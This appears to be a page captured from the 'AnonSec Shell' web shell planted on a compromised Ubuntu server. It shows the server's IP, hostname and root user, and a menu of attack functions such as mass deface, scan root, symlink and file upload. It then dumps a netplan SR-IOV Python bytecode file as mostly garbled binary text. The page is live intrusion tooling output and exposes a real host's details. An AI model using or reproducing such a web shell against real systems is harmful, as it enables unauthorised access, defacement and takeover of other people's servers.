AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/netplan/netplan/cli/commands/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/share/netplan/netplan/cli/commands/__pycache__/sriov_rebind.cpython-310.pyc
o

|hEc��@sHdZddlZddlmmZddlmZmZmZGdd�dej	�Z
dS)z"netplan SR-IOV rebind command line�N)�	PCIDevice�bind_vfs�_get_pci_slot_namecs,eZdZ�fdd�Zdd�Zdd�Z�ZS)�NetplanSriovRebindcst�jdddd�dS)N�rebindzKRebind SR-IOV virtual functions of given physical functions to their driverT)�
command_id�description�leaf)�super�__init__��self��	__class__��7/usr/share/netplan/netplan/cli/commands/sriov_rebind.pyrs
�zNetplanSriovRebind.__init__cCs2|jjdtdgdd�|j|_|��|��dS)N�netdevs�*z*Space separated list of PF interface names)�type�nargs�default�help)�parser�add_argument�str�command_rebind�func�
parse_args�run_commandrrrr�run!s�zNetplanSriovRebind.runcCs\|jD](}t|�}t|�}|jst�d�|��qt|j|j	�}t�
d�|t|���qdS)zeBind virtual functions of SR-IOV devices to their corresponding driver after eswitch mode was changedz1{} does not seem to be a SR-IOV physical functionz{}: bound {} VFsN)rrr�is_pf�logging�warning�formatr�vfs�driver�info�len)r
�iface�pci_addr�pcidev�	bound_vfsrrrr)s
�z!NetplanSriovRebind.command_rebind)�__name__�
__module__�__qualname__rrr�
__classcell__rrrrrsr)�__doc__r!�netplan.cli.utils�cli�utils�netplan.cli.sriovrrr�NetplanCommandrrrrr�<module>s


Anon7 - 2022
AnonSec Team